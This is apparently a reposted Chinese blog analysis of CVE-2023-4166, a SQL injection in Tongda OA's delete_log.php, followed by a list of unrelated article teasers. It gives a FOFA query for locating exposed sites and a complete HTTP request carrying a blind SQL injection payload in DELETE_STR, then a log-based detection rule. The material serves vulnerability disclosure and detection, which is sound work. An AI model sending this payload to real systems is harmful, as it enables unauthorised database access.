SQL注入-通達OA SQL注入漏洞【CVE-2023-4166】原理及檢測思路分析

1、漏洞描述

?通達OA中發現一個漏洞,并被列為嚴重漏洞。該漏洞影響文件general/system/seal_manage/dianju/delete_log.php的未知代碼。對參數 DELETE_STR 的操作會導致 sql 注入。

2、影響范圍

? 通達OA版本11.10之前

3、復現環境

?FOFA搜索:app="TDXK-通達OA" && icon_hash="-759108386",發現漏洞網站

4、POC

GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1) and (substr(DATABASE(),2,1))=char(68) and (select count(*) from information_schema.columns A,information_schema.columns B) and(1)=(1 HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4n867pmrrp4nendg0tsngl7g70; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c74d7ebb
Connection: close

5、檢測思路

?-數據源:Web訪問流量日志

?-檢測邏輯:

? -and:

??? -uri 包含 ‘/general/system/seal_manage/dianju/delete_log.php?DELETE_STR=’

??? -uri 包含 'from'

??? -or:

??????? -uri 包含 'select'

??????? -uri 包含 'delete'

??????? -uri 包含 'update'??????

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/10388.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/10388.shtml
英文地址,請注明出處:http://en.pswp.cn/web/10388.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

解鎖網站SEO優勢,百度站長工具助您一臂之力(百度站長平臺還提供了哪些工具供seo人員使用?)

在當今數字化時代,網站已經成為企業宣傳、產品銷售、信息發布的主要渠道之一。有著再好的網站,如果在百度等搜索引擎中無法被用戶搜索到,那就等于白搭。因此,網站的SEO優化顯得尤為重要。而作為國內最大的搜索引擎,百度…

LoRa模塊學習

什么是LoRa調制 LoRa(Long Range,遠距離)是一種調制技術,與同類技術相比,提供更長的通信距離。調制是基于擴頻技術,線性調制擴頻(CSS)的一個變種,具有前向糾錯&#xff…

安裝SQL Server詳細教程_sql server安裝教程

一,SQL Server數據庫安裝 1.首先,下載安裝程序 (1)從網盤下載安裝exe 點擊此處直接下載 (2)從官網下載安裝exe文件 在官網選擇Developer進行下載 2.開始安裝 雙擊安裝程序,開始安裝 這里直…

python-pytorch seq2seq+attention筆記0.5.00

python-pytorch seq2seq+attention筆記0.5.00 1. LSTM模型的數據size2. 關于LSTM的輸入數據包含hn和cn時,hn和cn的size3. LSTM參數中默認batch_first4. Attention機制的三種算法5. 模型的編碼器6. 模型的解碼器7. 最終模型8. 數據的準備9. 遇到的問題10. 完整代碼1. LSTM模型的…

PHP數值數組講解,for循環及函數 遍歷數組獲取元素

源碼 <?phpheader("Content-Type:text/html;Charsetutf8");//創建數值數組$arr1 array();//簡化創建語法 $arr2 [];//通過索引為數組添加不同類型的元素$arr1[0] "zhangsan" ;//也可以亂序添加元素$arr1[2] 12 ;$arr1[1] true ; //true輸出為1 f…

搭建vue3組件庫(四): 樣式庫搭建

文章目錄 1. 樣式目錄文件架構2. SCSS 樣式變量2.1 設置顏色 SCSS 變量2.2 設置多種類型主題2.3 生成全局類型主題 SCSS 變量2.4 分組生成 SCSS 變量 1. 樣式目錄文件架構 packages/theme-chalk 目錄結構&#xff1a; ├── packages │ ├── theme-chalk │ │ ├─…

excel表格里,可以把百分號放在數字前面嗎?

在有些版本里是可以的&#xff0c;這樣做&#xff1a; 選中數據&#xff0c;鼠標右鍵&#xff0c;點擊設置單元格格式&#xff0c;切換到自定義&#xff0c;在右側欄輸入%0&#xff0c;點擊確定就可以了。 這樣設置的好處是&#xff0c;它仍舊是數值&#xff0c;并且數值大小沒…

說一下 hibernate 的緩存機制?

Hibernate 的緩存機制是為了提高應用程序的性能&#xff0c;通過減少對數據庫物理數據源的訪問頻次而設計的。Hibernate 的緩存主要可以分為兩個級別&#xff1a;一級緩存&#xff08;也稱為 Session 級別的緩存&#xff09;和二級緩存&#xff08;也稱為 SessionFactory 級別的…

Veeam - 數據保護和管理解決方案_Windows平臺部署備份還原VMware手冊

Veeam - - 數據保護和管理解決方案 Veeam Backup & Replication Console Veeam Data Platform Veeam Backup & Replication是一款強大的虛擬機備份、恢復和復制解決方案 安全備份、干凈恢復和數據彈性 — 即時交付 在混合云中隨時隨地管理、控制、備份和恢復您的所有數…

ARM時鐘樹結構(GD32)

時鐘樹的簡易框圖 初始化配置系統時鐘 配置系統初始化時鐘&#xff08;參考手冊&#xff09; 對應hal庫函數 使用72MHz的系統時鐘 do -----------while&#xff08;0&#xff09;的使用方法 系統時鐘 #include <stdint.h> #include "gd32f30x.h"int main(void)…

配置Docker對象與管理守護進程

前言&#xff1a;本博客僅作記錄學習使用&#xff0c;部分圖片出自網絡&#xff0c;如有侵犯您的權益&#xff0c;請聯系刪除 本章節的快速目錄導航&#xff1a; 一、配置Docker對象 1.1、Docker對象的標記 1.2、格式化命令和日志的輸出 二、示例&#xff1a; 2.1、管理…

(delphi11最新學習資料) Object Pascal 學習筆記---第11章第2節 (接口的多態性)

11.2.4 接口的多態性 ? 在上一節中&#xff0c;我們看到了如何定義多個接口&#xff0c;并讓一個類實現其中的兩個接口。當然&#xff0c;這可以擴展到任何數量。您還可以創建接口的層次結構&#xff0c;因為一個接口可以繼承另一個接口&#xff1a; ITripleJumper interfa…

開源RAG框架匯總

前言 本文搜集了一些開源的基于LLM的RAG&#xff08;Retrieval-Augmented Generation&#xff09;框架&#xff0c;旨在吸納業界最新的RAG應用方法與思路。如有錯誤或者意見可以提出&#xff0c;同時也歡迎大家把自己常用而這里未列出的框架貢獻出來&#xff0c;感謝~ RAG應用…

【代碼隨想錄37期】Day04 兩兩交換鏈表中的節點、刪除鏈表的倒數第N個節點、鏈表相交、環形鏈表II

兩兩交換鏈表中的節點 /*** Definition for singly-linked list.* struct ListNode {* int val;* ListNode *next;* ListNode() : val(0), next(nullptr) {}* ListNode(int x) : val(x), next(nullptr) {}* ListNode(int x, ListNode *next) : val(x), ne…

光通信行業專業術語解析大全

近期公司內部開展了一期學習交流會&#xff0c;各位同事收獲頗多&#xff0c;特別是關于一些專業術語的簡稱&#xff0c;大家都覺得非常有意思&#xff01;小編馬不停蹄的整理出來分享給大家&#xff0c;希望可以給學習光通信知識的萌新們小小助力&#xff01; 以下是光通信行…

QRegExp

描述 QRegExp 類使用正則表達式提供模式匹配。 正則表達式或“正則表達式”是一種用于匹配文本中子字符串的模式。這在許多情況下都很有用&#xff0c;例如&#xff0c; 驗證 正則表達式可以測試子字符串是否滿足某些條件&#xff0c;例如是整數或不包含空格。搜索 正則表達式…

網關路由的方式有哪些

在微服務架構中&#xff0c;網關路由通常用于集中處理請求分發、認證、限流、熔斷等任務。以下是幾種常見的網關路由配置方式&#xff1a; Spring Cloud Gateway 1. **基于配置文件的路由**&#xff1a; - 在Spring Cloud Gateway中&#xff0c;可以通過YAML或JSON配置文件定…

【Linux】shell編程,()圓括號, []方括號, {}花括號與(())雙括號的使用區別

1. ( )圓括號 初始化數組使用圓括號&#xff1b; 命令組&#xff0c;將一系列命令用空格隔開&#xff1b; 命令替換&#xff0c;使用$ 美元符&#xff0c;將命令進行嵌套使用&#xff1b;&#xff08;有點兒類似于管道符作用的感覺&#xff09; arr(1 2 3 4 5)2. [ ]方括號 …

【Linux】搭建私有yum倉庫(類阿里云)

在搭建本地yum倉庫并配置國內鏡像阿里云源中了解yum源 yum &#xff1a; Yellow dog Updater&#xff0c;Modified&#xff0c;是一種基于rpm包的自動升級和軟件包管理工具。yum能從指定的服務器自動下載rpm包并安裝&#xff0c;自動計算出程序之間的依賴關系和軟件安裝的步驟&…

《Python編程從入門到實踐》day25

# 昨日知識點回顧 如何創建多行外星人 碰撞結束游戲 創建game_stats.py跟蹤統計信息 # 今日知識點學習 第14章 記分 14.1 添加Play按鈕 14.1.1 創建Button類 import pygame.font# button.py class Button:def __init__(self, ai_game, msg):"""初始化按鈕…